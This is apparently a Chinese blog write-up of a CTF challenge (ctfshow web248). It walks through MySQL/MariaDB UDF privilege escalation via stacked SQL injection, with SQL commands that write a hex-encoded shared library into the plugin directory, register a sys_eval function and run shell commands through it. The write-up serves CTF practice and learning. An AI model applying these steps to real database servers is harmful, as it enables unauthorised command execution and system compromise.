yink's studio

yink's world
Stay hungry, stay foolish.
  1. 首页
  2. CTF writeup
  3. 正文

从ctfshow web248实践udf提权

2022年9月16日 108点热度 0人点赞 0条评论

SQL注入里面的题目,要用udf提权。注入方式是堆叠注入,一般就是常用思路挨个试https://ccship.cn/2021/10/21/sql%E6%B3%A8%E5%85%A5%E6%80%BB%E7%BB%93/#toc-head-12

关于udf提权,可以看这两篇文章:
https://www.sqlsec.com/2020/11/mysql.html#%E5%86%99%E5%85%A5%E5%8A%A8%E6%80%81%E9%93%BE%E6%8E%A5%E5%BA%93
https://www.freebuf.com/articles/database/291175.html
so和dll文件内容在这里:
https://www.sqlsec.com/tools/udf.html
先查看当前用户名和plugin目录:

select user();
show variables like 'plugin%';

->当前用户:root
->插件目录:/usr/lib/mariadb/plugin/
这道题直接一下子写进去是不行的,url太长直接被拒绝,所以要分成几个部分分别写入,直接把16进制部分的文本写到三个文件里面(不要写入解码之后的文本,合在一起转码的时候会出问题)

SELECT '7f...' INTO DUMPFILE '/usr/lib/mariadb/plugin/a.txt';
...

写入之后可以查看一下有没有写入成功:

SELECT load_file('/usr/lib/mariadb/plugin/a.txt');

把三个文件里面的16进制文本合在一起,然后用unhex函数解码后写入:
注意,目标so文件写入的内容的16进制化之后才是那一串16进制数而不是写入16进制数本身
select 0x7f... into dumpfile ...是写入的16进制数对应的字符串,那一串16进制数应该作为数字被写入(写入的是字符串),作为字符串被写入时需要通过unhex函数解码

SELECT unhex(concat(load_file('/usr/lib/mariadb/plugin/a.txt'),load_file('/usr/lib/mariadb/plugin/b.txt'),load_file('/usr/lib/mariadb/plugin/c.txt'))) INTO DUMPFILE '/usr/lib/mariadb/plugin/udf64.so';

创建新函数:

create function sys_eval returns string soname 'udf64.so';

执行命令:

select sys_eval('tac /f*');

本作品采用 知识共享署名 4.0 国际许可协议 进行许可
标签: 暂无
最后更新:2022年9月17日

yink

这个人很懒,什么都没留下

点赞
< 上一篇

文章评论

取消回复

COPYRIGHT © 2021 101.34.164.187. ALL RIGHTS RESERVED.

THEME KRATOS MADE BY VTROIS